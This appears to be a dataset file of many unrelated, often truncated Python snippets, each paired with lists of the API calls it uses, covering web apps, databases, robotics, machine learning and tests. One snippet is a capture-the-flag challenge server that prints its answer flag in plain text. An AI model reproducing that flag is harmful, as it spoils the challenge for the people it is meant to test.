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from datetime import datetime as dt def datetime_format(datetime) -> str: return dt.strftime(datetime, "%Y-%m-%d %H:%M:%S")
[ "datetime.datetime.strftime" ]
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from price_picker.models import User, Device, Manufacturer, Repair, Picture, Color, Preferences, Enquiry from price_picker import db def create_sample_data(): """Creates sample data.""" print("Adding Sample Data") # Delete all data Enquiry.query.delete() Device.query.delete() Manufacturer.quer...
[ "price_picker.models.Color", "price_picker.models.Device.query.delete", "price_picker.models.User.query.delete", "price_picker.models.Manufacturer", "price_picker.models.Color.query.delete", "price_picker.db.session.commit", "price_picker.models.Repair", "price_picker.models.Enquiry.query.delete", "...
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""" libpq enum definitions for psycopg """ # Copyright (C) 2020-2021 The Psycopg Team from enum import IntEnum, auto class ConnStatus(IntEnum): """ Current status of the connection. """ __module__ = "psycopg.pq" OK = 0 """The connection is in a working state.""" BAD = auto() """The...
[ "enum.auto" ]
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# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-06-09 19:18 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('consent', '0023_auto_20170605_2243'), ] operations = [ migrations.AlterFiel...
[ "django.db.models.CharField" ]
[((417, 632), 'django.db.models.CharField', 'models.CharField', ([], {'choices': "[('OBC', 'OBC'), ('GEN', 'General'), ('SC', 'SC'), ('ST', 'ST'), ('OBC-PH',\n 'OBC-PH'), ('GEN-PH', 'General-PH'), ('SC-PH', 'SC-PH'), ('ST-PH', 'ST-PH')\n ]", 'default': '"""GEN"""', 'max_length': '(6)'}), "(choices=[('OBC', 'OBC')...
import logging from sqlalchemy.orm import joinedload import smartdb from model import Machine, Schedule, MachineInterface logger = logging.getLogger(__file__) class ScheduleRepository: __name__ = "ScheduleRepository" def __init__(self, smart: smartdb.SmartDatabaseClient): self.smart = smart @...
[ "logging.getLogger", "sqlalchemy.orm.joinedload", "model.Schedule" ]
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# --- Internal Level Representation and Gamerules --- # from typing import Collection, Mapping, Tuple, Type, Sequence from functools import reduce from copy import deepcopy import pygame as pg # for type hints from entities import * from helpers import V2 class Board: """a hashing based sparse-matrix...
[ "helpers.V2", "pygame.Rect", "copy.deepcopy" ]
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#!/usr/bin/env python3 """ This module allows killing ego vehicles in a carla simulation. It can either be integrated in another python moduleby including `kill_heroes.kill_heroes` Or be called as a standalone script. """ import carla import argparse def kill_heroes(role_name="hero", host="127.0.0.1", port=2000): ...
[ "carla.Client", "argparse.ArgumentParser" ]
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# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
[ "mindspore.ops.Maximum", "mindspore.ops.Minimum", "src.networks.controller.define_G", "mindspore.ops.Concat", "mindspore.ops.Ones" ]
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from django.db import models # Create your models here. class QandAModel(models.Model): question = models.CharField(max_length=128, unique=True) answer = models.CharField(max_length=128) header = models.CharField(max_length=128)
[ "django.db.models.CharField" ]
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#!/usr/bin/python from typing import Dict, Union, Tuple, List import numpy as np from ..parameters import POI from ..fitutils.api_check import is_valid_loss, is_valid_fitresult, is_valid_minimizer from ..fitutils.api_check import is_valid_data, is_valid_pdf from ..fitutils.utils import pll """ Module defining the bas...
[ "numpy.where", "numpy.zeros", "numpy.isnan", "numpy.meshgrid", "numpy.isinf" ]
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import os bind = "0.0.0.0:9605" workers = os.cpu_count() * 2 - 1 loglevel = "warning" errorlog = os.path.join("logs", "error.log") accesslog = os.path.join("logs", "access.log")
[ "os.path.join", "os.cpu_count" ]
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#!/bin/env python3 import pickle from datetime import datetime, timedelta import os import pathlib import sys from typing import Set, Dict, List, Optional from collections import defaultdict from itertools import product import requests import requests_cache sys.path.append(os.path.dirname(os.path.abspath(__file__)))...
[ "pickle.dump", "biolink_helper.BiolinkHelper", "ARAX_response.ARAXResponse", "pathlib.Path", "itertools.product", "pickle.load", "expand_utilities.get_canonical_curies_list", "requests.get", "expand_utilities.get_all_kps", "expand_utilities.get_kp_endpoint_url", "datetime.datetime.now", "expan...
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from __future__ import annotations from collections import (namedtuple, deque, Counter, OrderedDict, defaultdict, ChainMap) from typing import ( NamedTuple, List, Deque, Any, Counter as CounterT, DefaultDict as DefaultDictT, ChainMap as ChainMapT, MutableMapping, Dict ) RGBColor = NamedTuple('color',[('red'...
[ "collections.OrderedDict", "collections.deque", "collections.ChainMap", "collections.Counter", "collections.defaultdict", "typing.NamedTuple" ]
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#!/usr/bin/env python import turbotutils import turbotutils.cluster import boto3 if __name__ == '__main__': # Set to False if you do not have a valid certificate for your Turbot Host turbot_host_certificate_verification = True # Set to your Turbot Host URL turbot_host = turbotutils.get_turbot_host(...
[ "boto3.client", "turbotutils.get_turbot_host", "turbotutils.get_turbot_access_keys", "turbotutils.cluster.get_cluster_id", "turbotutils.cluster.get_turbot_account_ids" ]
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#!/usr/bin/env python """Set up a directory to run notebook analysis and copy over the examples""" import os import shutil import glob import argparse from lsst.eo_utils.base.defaults import EO_PACKAGE_BASE from lsst.eo_utils.base.file_utils import make_links DEFAULT_BASEDIR = '/gpfs/slac/lsst/fs1/u/echarles/DAT...
[ "argparse.ArgumentParser", "lsst.eo_utils.base.file_utils.make_links", "os.path.join", "shutil.copyfile", "os.path.basename" ]
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import numpy as np import pandas as pd import torch import torch.nn as nn import torch.nn.functional as F import matplotlib.pyplot as plt from prophet import Prophet # https://github.com/omerbsezer/LSTM_RNN_Tutorials_with_Demo/blob/master/StockPricesPredictionProject/pricePredictionLSTM.py # https://github.com/stefan-...
[ "matplotlib.pyplot.savefig", "pandas.read_csv", "prophet.Prophet", "matplotlib.pyplot.title", "matplotlib.pyplot.show" ]
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"""This module is a label viewer. At the moment, all it really does is display the label and give the option to pull up a search window to search the text in the label. When this window is hidden, the search query in the text finder is cleared and that window is hidden as well if it is not already. Also, if this window...
[ "qtpy.QtWidgets.QVBoxLayout", "qtpy.QtWidgets.QGridLayout", "qtpy.QtCore.QMargins", "pdsview.textfinder.LabelSearch", "qtpy.QtWidgets.QPushButton", "qtpy.QtWidgets.QHBoxLayout", "qtpy.QtGui.QFont", "qtpy.QtWidgets.QTextEdit" ]
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import json import mlrun.errors import mlrun.utils.singleton from mlrun.api.schemas.marketplace import ( MarketplaceCatalog, MarketplaceItem, MarketplaceItemMetadata, MarketplaceItemSpec, MarketplaceSource, ObjectStatus, ) from mlrun.api.utils.singletons.k8s import get_k8s from mlrun.config imp...
[ "json.loads", "mlrun.datastore.store_manager.set", "mlrun.api.schemas.marketplace.ObjectStatus", "mlrun.api.schemas.marketplace.MarketplaceCatalog", "mlrun.api.utils.singletons.k8s.get_k8s", "mlrun.api.schemas.marketplace.MarketplaceItemMetadata", "mlrun.api.schemas.marketplace.MarketplaceItemSpec" ]
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from djangoevents.domain import BaseAggregate from djangoevents.domain import DomainEvent from djangoevents.utils_abstract import abstract from ..utils import camel_case_to_snake_case from ..utils import list_aggregate_events from ..utils import list_concrete_aggregates from ..utils import _list_subclasses from ..utils...
[ "pytest.mark.parametrize", "unittest.mock.patch" ]
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import torch from ghost_net import ghost_net model = ghost_net(width_mult=1.0) input = torch.randn(32,3,224,224) y = model(input) print(y) print(model)
[ "ghost_net.ghost_net", "torch.randn" ]
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import random from datetime import datetime import pandas as pd def sales(n: int = 100, start: int = 100) -> pd.DataFrame: """ Generate Sales """ USERS = 12 PRODUCTS = 4 SUPPLIERS = 3 CAMPAIGNS = 3 records = [] for index in range(start, start + n): sale_record = { "i...
[ "pandas.DataFrame", "datetime.datetime.now", "random.random", "random.randint" ]
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from django.urls import path from .views import index urlpatterns = [ path('', index), path('list', index), path('create', index), path('login', index), path('signup', index), path('platform/<str:handle>', index), path('platform/<str:handle>/create', index), path('platform/<s...
[ "django.urls.path" ]
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from logging import info, basicConfig, INFO from time import sleep from src.slack.slack_bot import Bot def main(): basicConfig(level=INFO) bot = Bot() info('Connection Slack') if not bot.slack_client.rtm_connect(): info('Could not connect in web_socket') exit() else: info(...
[ "logging.basicConfig", "src.slack.slack_bot.Bot", "logging.info", "time.sleep" ]
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#!/usr/bin/env python import SocketServer import time import random HOST = "0.0.0.0" PORT = 6050 FLAG = "flag{1_b3t_u_us3d_g00gle_tr4nslate}" class connectionHandler(SocketServer.BaseRequestHandler): def handle(self): handle = open('/dev/urandom') offset = random.randint(15,60) star...
[ "SocketServer.ForkingTCPServer", "time.time", "random.randint" ]
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# -*- coding: utf-8 -*- import tensorflow as tf def content_loss(content_weight, content_current, content_target): """ Compute the content loss for style transfer. Inputs: - content_weight: scalar constant we multiply the content_loss by. - content_current: features of the current image, Tens...
[ "tensorflow.shape", "tensorflow.transpose", "tensorflow.nn.l2_loss", "tensorflow.reshape", "tensorflow.cast" ]
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import xbrl from xbrl.const import NS, LinkType, LinkGroup import os.path from urllib.request import pathname2url import datetime def test_loadixbrl(): processor = xbrl.XBRLProcessor() url = "file:" + pathname2url(os.path.abspath(os.path.join(os.path.dirname(__file__), "simple-ixbrl.xhtml"))) report ...
[ "datetime.datetime", "xbrl.XBRLProcessor" ]
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""" find and delete all "*.pyc" bytecode files at and below the directory named on the command-line; this uses a Python-coded find utility, and so is portable; run this to delete .pyc's from an old Python release; """ import os, sys, find # here, gets Tools.find count = 0 for filename in find.find('*.pyc...
[ "find.find" ]
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from functions.api_parking import get_parking, search_parking, parking_locate parkings = get_parking() for parking in parkings['records']: nom = parking['fields']['name'] places_disponibles = parking['fields']['dispo'] print(f'{nom} | {places_disponibles} places disponibles') print('\n') prin...
[ "functions.api_parking.search_parking", "functions.api_parking.parking_locate", "functions.api_parking.get_parking" ]
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import click import requests from operator import itemgetter from blessed import Terminal from itertools import chain, cycle import os from sys import platform from datetime import datetime from texttable import Texttable import logs.logger as logger from src.constants import ELEMENTS_PER_PAGE, ONE_MONTH, ONE_YEAR, SOR...
[ "texttable.Texttable", "os.get_terminal_size", "click.option", "datetime.datetime.strptime", "blessed.Terminal", "requests.get", "datetime.datetime.now", "logs.logger.logging_data", "operator.itemgetter", "click.command", "os.system" ]
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from pybluemonday import UGCPolicy, StrictPolicy, NewPolicy from collections import namedtuple Case = namedtuple("Case", ["input", "output"]) def test_StrictPolicy(): cases = [ Case(input="Hello, <b>World</b>!", output="Hello, World!"), Case(input="<blockquote>Hello, <b>World</b>!", output="Hello...
[ "pybluemonday.UGCPolicy", "pybluemonday.StrictPolicy", "collections.namedtuple" ]
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import numpy from scipy.optimize import differential_evolution def optim_matrix(A, B): X = A.points.T Y = B.points.T bounds = [(-999999.0, 999999.0)] * 4 def f(p): Z = numpy.array(p) Z.shape = (2, 2) y = numpy.dot(Z, X) return numpy.linalg.norm(y - Y) return dif...
[ "scipy.optimize.differential_evolution", "numpy.exp", "numpy.array", "numpy.dot", "numpy.linalg.norm" ]
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import os import sys from _io import BytesIO from alibabacloud_tea_fileform.models import FileField from Tea.stream import BaseStream from Tea.converter import TeaConverter as TC FMT = b'[%s]' class FileFormInputStream(BaseStream): MAX_SIZE = 2147483647 def __init__(self, form, boundary, size...
[ "os.path.getsize", "Tea.converter.TeaConverter.to_bytes" ]
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# coding: utf-8 """ Intersight REST API This is Intersight REST API OpenAPI spec version: 1.0.9-255 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re class IamLdapDnsParameters(object): """ NOTE: This ...
[ "six.iteritems" ]
[((3830, 3859), 'six.iteritems', 'iteritems', (['self.swagger_types'], {}), '(self.swagger_types)\n', (3839, 3859), False, 'from six import iteritems\n')]
#!/usr/bin/env python3 import rospy import rospkg import typing as tp import yaml from robonomics_vacuum.srv import Element from std_msgs.msg import String from miio import RoborockVacuum import os import datetime from robonomics_vacuum.utils import read_config class ElementsMonitoring: def __init__(self) -> None...
[ "os.path.exists", "rospy.Publisher", "rospy.is_shutdown", "yaml.dump", "miio.RoborockVacuum", "rospy.init_node", "rospy.get_param", "rospy.Service", "rospkg.RosPack", "rospy.Rate", "datetime.timedelta", "robonomics_vacuum.utils.read_config" ]
[((330, 368), 'rospy.init_node', 'rospy.init_node', (['"""elements_monitoring"""'], {}), "('elements_monitoring')\n", (345, 368), False, 'import rospy\n'), ((387, 414), 'rospy.get_param', 'rospy.get_param', (['"""~address"""'], {}), "('~address')\n", (402, 414), False, 'import rospy\n'), ((431, 456), 'rospy.get_param',...
import struct # NOTE only 24bit bmps are supported! def readAsInt( file, nrBytes, signed ): if nrBytes == 2: unpackStr = "<H" else: unpackStr = "<i" bytes = file.read(nrBytes) val = struct.unpack(unpackStr, bytes) return val[0] def readFile(infile): try: image_file = ...
[ "struct.unpack" ]
[((217, 248), 'struct.unpack', 'struct.unpack', (['unpackStr', 'bytes'], {}), '(unpackStr, bytes)\n', (230, 248), False, 'import struct\n')]
import mlflow import shap import sklearn from sklearn.datasets import load_diabetes # prepare training data X, y = load_diabetes(return_X_y=True, as_frame=True) # train a model model = sklearn.ensemble.RandomForestRegressor(n_estimators=100) model.fit(X, y) # create an explainer explainer_original = shap.Explainer(m...
[ "sklearn.ensemble.RandomForestRegressor", "mlflow.shap.log_explainer", "sklearn.datasets.load_diabetes", "mlflow.shap.load_explainer", "shap.Explainer", "mlflow.start_run" ]
[((116, 161), 'sklearn.datasets.load_diabetes', 'load_diabetes', ([], {'return_X_y': '(True)', 'as_frame': '(True)'}), '(return_X_y=True, as_frame=True)\n', (129, 161), False, 'from sklearn.datasets import load_diabetes\n'), ((187, 243), 'sklearn.ensemble.RandomForestRegressor', 'sklearn.ensemble.RandomForestRegressor'...
#! /usr/bin/env python # -*- coding: utf-8 -*- """ @Author:lichunhui @Time: 2018/7/19 16:05 @Description: 利用谷歌翻译进行因为文本翻译 """ import urllib.request import urllib.parse import execjs import random import json import asyncio from aiohttp import ClientSession from baikeSpider.settings import MY_USER_AGENT from ..logger i...
[ "aiohttp.ClientSession", "random.sample", "json.loads", "execjs.compile", "asyncio.Semaphore", "asyncio.gather", "asyncio.get_event_loop", "time.time" ]
[((11228, 11239), 'time.time', 'time.time', ([], {}), '()\n', (11237, 11239), False, 'import time\n'), ((11270, 11281), 'time.time', 'time.time', ([], {}), '()\n', (11279, 11281), False, 'import time\n'), ((465, 1966), 'execjs.compile', 'execjs.compile', (['"""\n function TL(a) {\n var k = "";\n ...
# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
[ "numpy.random.default_rng", "jax.numpy.arange", "absl.testing.absltest.main", "absl.testing.parameterized.named_parameters", "jax.numpy.array", "jax.tree_util.tree_map", "tree_math.Vector", "jax.tree_util.tree_leaves", "jax.numpy.ones" ]
[((1532, 1672), 'absl.testing.parameterized.named_parameters', 'parameterized.named_parameters', (["*({'testcase_name': op.__name__, 'op': op} for op in [operator.pos,\n operator.neg, abs, operator.invert])"], {}), "(*({'testcase_name': op.__name__, 'op': op} for\n op in [operator.pos, operator.neg, abs, operator...
#!/usr/bin/env python3 # Copyright (c) 2014-2021 Megvii Inc. All rights reserved. import megengine as mge import megengine.module as M import numpy as np import pytest from basecls.models.repvgg import RepVGGBlock @pytest.mark.parametrize("w_in", [32, 64]) @pytest.mark.parametrize("w_out", [64]) @pytest.mark.paramet...
[ "pytest.mark.parametrize", "megengine.random.uniform", "basecls.models.repvgg.RepVGGBlock.convert_to_deploy", "basecls.models.repvgg.RepVGGBlock" ]
[((218, 259), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""w_in"""', '[32, 64]'], {}), "('w_in', [32, 64])\n", (241, 259), False, 'import pytest\n'), ((261, 299), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""w_out"""', '[64]'], {}), "('w_out', [64])\n", (284, 299), False, 'import pytest\n'...
import argparse import json import sys import os from json.decoder import JSONDecodeError from .config import read_config, exists_config, initialize_config from .colorvote import Colorvote DEFAULT_CONFIG_DIR = os.path.join(os.path.expanduser("~"), '.colorvote') def main(): parser = argparse.ArgumentParser(descri...
[ "json.loads", "argparse.ArgumentParser", "json.dumps", "os.path.join", "os.path.expanduser" ]
[((227, 250), 'os.path.expanduser', 'os.path.expanduser', (['"""~"""'], {}), "('~')\n", (245, 250), False, 'import os\n'), ((290, 365), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Colorvote CLI tool"""', 'prog': '"""colorvote"""'}), "(description='Colorvote CLI tool', prog='colorvote'...
from sen_api import IntervalReading def test_interval_reading(): reading = IntervalReading('01/10/2020', '04/10/2020', 55) assert reading.interval_days == 4 assert reading.avg_consumption == 14 reading = IntervalReading('01/03/2020', '31/03/2020', 341) assert reading.interval_days == 31 asser...
[ "sen_api.IntervalReading" ]
[((81, 128), 'sen_api.IntervalReading', 'IntervalReading', (['"""01/10/2020"""', '"""04/10/2020"""', '(55)'], {}), "('01/10/2020', '04/10/2020', 55)\n", (96, 128), False, 'from sen_api import IntervalReading\n'), ((223, 271), 'sen_api.IntervalReading', 'IntervalReading', (['"""01/03/2020"""', '"""31/03/2020"""', '(341)...
from pathlib import Path from fhir.resources.valueset import ValueSet as _ValueSet from oops_fhir.utils import ValueSet from oops_fhir.r4.code_system.v3_relational_operator import ( v3RelationalOperator as v3RelationalOperator_, ) __all__ = ["v3RelationalOperator"] _resource = _ValueSet.parse_file(Path(__fil...
[ "pathlib.Path" ]
[((310, 324), 'pathlib.Path', 'Path', (['__file__'], {}), '(__file__)\n', (314, 324), False, 'from pathlib import Path\n')]
# -*- coding: utf-8 -*- import six from datetime import datetime from mongo_model.connection import conn from mongo_model.fields import MongoField, ObjectIDField class ModelBase(object): """Model base class. The design idea is for a particular row in the database, there will be only one instance initiated i...
[ "mongo_model.fields.ObjectIDField", "six.iteritems" ]
[((526, 541), 'mongo_model.fields.ObjectIDField', 'ObjectIDField', ([], {}), '()\n', (539, 541), False, 'from mongo_model.fields import MongoField, ObjectIDField\n'), ((1875, 1902), 'six.iteritems', 'six.iteritems', (['self._fields'], {}), '(self._fields)\n', (1888, 1902), False, 'import six\n'), ((2564, 2591), 'six.it...
import torch import torchmetrics def torch_rmse( pred, target, ): score = torch.sqrt(torchmetrics.functional.mean_squared_error(pred, target)) return score def torch_rocauc( pred, target, ): score = torch.sqrt(torchmetrics.functional.auroc(pred, target.int())) return score
[ "torchmetrics.functional.mean_squared_error" ]
[((95, 151), 'torchmetrics.functional.mean_squared_error', 'torchmetrics.functional.mean_squared_error', (['pred', 'target'], {}), '(pred, target)\n', (137, 151), False, 'import torchmetrics\n')]
import numpy as np import matplotlib # matplotlib.use("TkAgg") import matplotlib.pyplot as plt from typing import * import pandas as pd import seaborn as sns import math sns.set() class Accuracy(object): def at_radii(self, radii: np.ndarray): raise NotImplementedError() class ApproximateAccuracy(Accur...
[ "seaborn.set", "matplotlib.pyplot.savefig", "matplotlib.pyplot.title", "pandas.read_csv", "matplotlib.pyplot.ylabel", "matplotlib.pyplot.legend", "matplotlib.pyplot.xlabel", "matplotlib.pyplot.tick_params", "matplotlib.pyplot.gca", "math.log", "matplotlib.pyplot.close", "matplotlib.pyplot.figu...
[((172, 181), 'seaborn.set', 'sns.set', ([], {}), '()\n', (179, 181), True, 'import seaborn as sns\n'), ((1961, 2012), 'numpy.arange', 'np.arange', (['(0)', '(max_radius + radius_step)', 'radius_step'], {}), '(0, max_radius + radius_step, radius_step)\n', (1970, 2012), True, 'import numpy as np\n'), ((2017, 2029), 'mat...
from numpy import random from matplotlib import pyplot random.seed(12345) sequence = random.normal(size=1000000, loc=30, scale=5) pyplot.hist(sequence, bins=20) pyplot.show()
[ "numpy.random.normal", "matplotlib.pyplot.hist", "numpy.random.seed", "matplotlib.pyplot.show" ]
[((56, 74), 'numpy.random.seed', 'random.seed', (['(12345)'], {}), '(12345)\n', (67, 74), False, 'from numpy import random\n'), ((86, 130), 'numpy.random.normal', 'random.normal', ([], {'size': '(1000000)', 'loc': '(30)', 'scale': '(5)'}), '(size=1000000, loc=30, scale=5)\n', (99, 130), False, 'from numpy import random...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import django.contrib.gis.db.models.fields class Migration(migrations.Migration): dependencies = [ ('main', '0001_initial'), ] operations = [ migrations.CreateModel( name...
[ "django.db.models.FloatField", "django.db.models.ForeignKey", "django.db.models.ManyToManyField", "django.db.models.BooleanField", "django.db.models.AutoField", "django.db.models.PositiveIntegerField", "django.db.models.CharField" ]
[((3183, 3218), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'to': '"""main.Region"""'}), "(to='main.Region')\n", (3200, 3218), False, 'from django.db import models, migrations\n'), ((3337, 3395), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'to': '"""main.Region"""', 'blank': '(True)', 'null'...
#!/usr/bin/env python3 import turtle turtle.setup(500, 500) move = turtle.Turtle() window = move.getscreen() window.title("TurtlePy") canvas = window.getcanvas() text = ( "Press Q to quit.\n" "Press arrow keys to move cursor.\n" "Press spacebar to toggle if the pen is up or down." ) canvas.create_text(0, -...
[ "turtle.onkey", "turtle.listen", "turtle.mainloop", "turtle.onkeypress", "turtle.setup", "turtle.Turtle" ]
[((38, 60), 'turtle.setup', 'turtle.setup', (['(500)', '(500)'], {}), '(500, 500)\n', (50, 60), False, 'import turtle\n'), ((68, 83), 'turtle.Turtle', 'turtle.Turtle', ([], {}), '()\n', (81, 83), False, 'import turtle\n'), ((789, 816), 'turtle.onkeypress', 'turtle.onkeypress', (['onQ', '"""q"""'], {}), "(onQ, 'q')\n", ...
""" Author: <NAME>: <EMAIL> Company: pfm Bolivia Description: Creates a connection to the pfm_patients database and implements the CRUD operations. * dictionary template to introduce in db: {"name": "", "diagnostic": 0, "parasites": [], "count": []} """ # Libraries # General purpose import os import sys # Interfa...
[ "os.system", "interface.implements" ]
[((465, 481), 'interface.implements', 'implements', (['CRUD'], {}), '(CRUD)\n', (475, 481), False, 'from interface import implements\n'), ((620, 652), 'os.system', 'os.system', (['"""ps -a | grep mongod"""'], {}), "('ps -a | grep mongod')\n", (629, 652), False, 'import os\n')]
#!/usr/bin/python3 # coding=utf-8 """Get card image in http://gatherer.wizards.com/Pages/Default.aspx""" import logging import os #import re from concurrent.futures import ThreadPoolExecutor import requests from bs4 import BeautifulSoup def getcardsinfo(setlongname): """Get series of information by represented...
[ "logging.basicConfig", "os.path.exists", "requests.Session", "concurrent.futures.ThreadPoolExecutor", "requests.get", "os.chdir", "bs4.BeautifulSoup", "os.mkdir", "logging.info" ]
[((1887, 1912), 'os.chdir', 'os.chdir', (["('./' + dir_name)"], {}), "('./' + dir_name)\n", (1895, 1912), False, 'import os\n'), ((2139, 2154), 'os.chdir', 'os.chdir', (['"""../"""'], {}), "('../')\n", (2147, 2154), False, 'import os\n'), ((4034, 4112), 'logging.basicConfig', 'logging.basicConfig', ([], {'filename': '"...
from collections import defaultdict from math import * from itertools import product from logbook import Logger import cv2 import numpy as np import networkx as nx import math from tqdm import tqdm # from palettable.cartocolors.qualitative import Pastel_10 as COLORS from suppose.common import timing from suppose.camer...
[ "numpy.sqrt", "networkx.connected_component_subgraphs", "cv2.projectPoints", "numpy.ascontiguousarray", "cv2.triangulatePoints", "numpy.array", "math.log", "numpy.linalg.norm", "pandas.read_pickle", "logbook.Logger", "networkx.DiGraph", "cv2.convertPointsFromHomogeneous", "pandas.DataFrame.f...
[((376, 392), 'logbook.Logger', 'Logger', (['"""pose3d"""'], {}), "('pose3d')\n", (382, 392), False, 'from logbook import Logger\n'), ((703, 790), 'cv2.undistortPoints', 'cv2.undistortPoints', (['pts2', 'camera_matrix', 'distortion_coefficients'], {'P': 'camera_matrix'}), '(pts2, camera_matrix, distortion_coefficients,...
# -*- coding: utf-8 -*- """ --------------------------------------- @file : DM @Version : ?? @Author : <NAME> @software: PyCharm @For : Data Management --------------------------------------- """ # History: # 2021/8/31: Create import psycopg2 from psycopg2 import sql def select_sql(what, table: str, where=...
[ "psycopg2.sql.Identifier", "psycopg2.sql.SQL" ]
[((421, 451), 'psycopg2.sql.SQL', 'sql.SQL', (['"""SELECT * FROM {tbl}"""'], {}), "('SELECT * FROM {tbl}')\n", (428, 451), False, 'from psycopg2 import sql\n'), ((480, 501), 'psycopg2.sql.Identifier', 'sql.Identifier', (['table'], {}), '(table)\n', (494, 501), False, 'from psycopg2 import sql\n'), ((695, 711), 'psycopg...
# coding: utf-8 from flask import g, Blueprint, jsonify, request, Response import requests from hikidashi.settings import SWAGGER_UI_HOST from hikidashi.models.item import Item api = Blueprint('api', __name__) @api.route('/', defaults={'path': ''}) @api.route('/<path:path>') def index(path): if SWAGGER_UI_HOST...
[ "flask.request.data.decode", "flask.g.get", "requests.get", "flask.g.store.put_item", "flask.g.store.get_items", "flask.Response", "flask.g.store.get_item", "flask.Blueprint", "flask.jsonify" ]
[((186, 212), 'flask.Blueprint', 'Blueprint', (['"""api"""', '__name__'], {}), "('api', __name__)\n", (195, 212), False, 'from flask import g, Blueprint, jsonify, request, Response\n'), ((468, 479), 'flask.jsonify', 'jsonify', (['{}'], {}), '({})\n', (475, 479), False, 'from flask import g, Blueprint, jsonify, request,...
# MIT License # Copyright (c) 2018 <NAME> # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish...
[ "pyTD.market.options.Options", "pyTD.market.movers.Movers", "pyTD.market.quotes.Quotes", "pyTD.market.hours.MarketHours", "pyTD.instruments.base.Instruments", "pyTD.market.price_history.PriceHistory" ]
[((1798, 1826), 'pyTD.instruments.base.Instruments', 'Instruments', (['*args'], {}), '(*args, **kwargs)\n', (1809, 1826), False, 'from pyTD.instruments.base import Instruments\n'), ((2366, 2389), 'pyTD.market.quotes.Quotes', 'Quotes', (['*args'], {}), '(*args, **kwargs)\n', (2372, 2389), False, 'from pyTD.market.quotes...
import pytest from src.language.tokenizer import Tokenizer def test_1(): case1 = "number a = 3.34" tokens = Tokenizer()(case1) assert len(tokens) == 5 assert tokens[3].lexeme == "3.34" def test_2(): case2 = "function number fibo(number n) -> {\nif n lte 1 -> {\n return 1 \n} return fibo(n- 1)...
[ "src.language.tokenizer.Tokenizer" ]
[((120, 131), 'src.language.tokenizer.Tokenizer', 'Tokenizer', ([], {}), '()\n', (129, 131), False, 'from src.language.tokenizer import Tokenizer\n'), ((355, 366), 'src.language.tokenizer.Tokenizer', 'Tokenizer', ([], {}), '()\n', (364, 366), False, 'from src.language.tokenizer import Tokenizer\n')]
import datetime from django.http import HttpResponseBadRequest from django.shortcuts import render from django.views.decorators.csrf import csrf_protect, ensure_csrf_cookie from pm.form.registration import RegistrationForm @ensure_csrf_cookie @csrf_protect def view(request): if request.method == "GET": t...
[ "pm.form.registration.RegistrationForm", "django.shortcuts.render", "django.http.HttpResponseBadRequest", "datetime.date.today" ]
[((431, 449), 'pm.form.registration.RegistrationForm', 'RegistrationForm', ([], {}), '()\n', (447, 449), False, 'from pm.form.registration import RegistrationForm\n'), ((465, 568), 'django.shortcuts.render', 'render', (['request', '"""index.html"""', "{'day': today, 'next': next, 'registration_form': registration_form}...
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2018-11-14 00:31 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('workflow', '0016_auto_20170623_1306'), ] operations = [ migrations.AddField...
[ "django.db.models.FileField" ]
[((404, 511), 'django.db.models.FileField', 'models.FileField', ([], {'blank': '(True)', 'null': '(True)', 'upload_to': '"""static/img/"""', 'verbose_name': '"""Your Organization Logo"""'}), "(blank=True, null=True, upload_to='static/img/',\n verbose_name='Your Organization Logo')\n", (420, 511), False, 'from django...
from os.path import join, dirname import sys import argparse sys.path.append(join(dirname(__file__), '..')) import h5py import numpy as np from lyricpsych.data import load_mxm2msd def main(msd_tagtraum_fn, mxm_h5_fn, out_fn): """ """ # load relevant data mxm2msd = load_mxm2msd() msd2mxm = {v:k fo...
[ "argparse.ArgumentParser", "lyricpsych.data.load_mxm2msd", "h5py.File", "os.path.dirname", "h5py.special_dtype" ]
[((284, 298), 'lyricpsych.data.load_mxm2msd', 'load_mxm2msd', ([], {}), '()\n', (296, 298), False, 'from lyricpsych.data import load_mxm2msd\n'), ((1169, 1194), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (1192, 1194), False, 'import argparse\n'), ((82, 99), 'os.path.dirname', 'dirname', (['...
import FWCore.ParameterSet.Config as cms lumiProducer=cms.EDProducer("LumiProducer", connect=cms.string(''), lumiversion=cms.untracked.string(''), ncacheEntries=cms.untracked.uint32(5) )
[ "FWCore.ParameterSet.Config.string", "FWCore.ParameterSet.Config.untracked.string", "FWCore.ParameterSet.Config.untracked.uint32" ]
[((122, 136), 'FWCore.ParameterSet.Config.string', 'cms.string', (['""""""'], {}), "('')\n", (132, 136), True, 'import FWCore.ParameterSet.Config as cms\n'), ((178, 202), 'FWCore.ParameterSet.Config.untracked.string', 'cms.untracked.string', (['""""""'], {}), "('')\n", (198, 202), True, 'import FWCore.ParameterSet.Conf...
#!/usr/bin/env python3 import argparse import biotoolbox # Write a program that predicts if a protein is trans-membrane # Trans-membrane proteins have the following properties # Signal peptide: https://en.wikipedia.org/wiki/Signal_peptide # Hydrophobic regions(s): https://en.wikipedia.org/wiki/Transmembrane_protein # ...
[ "biotoolbox.hasHydrophobicHelix", "biotoolbox.read_fasta", "argparse.ArgumentParser" ]
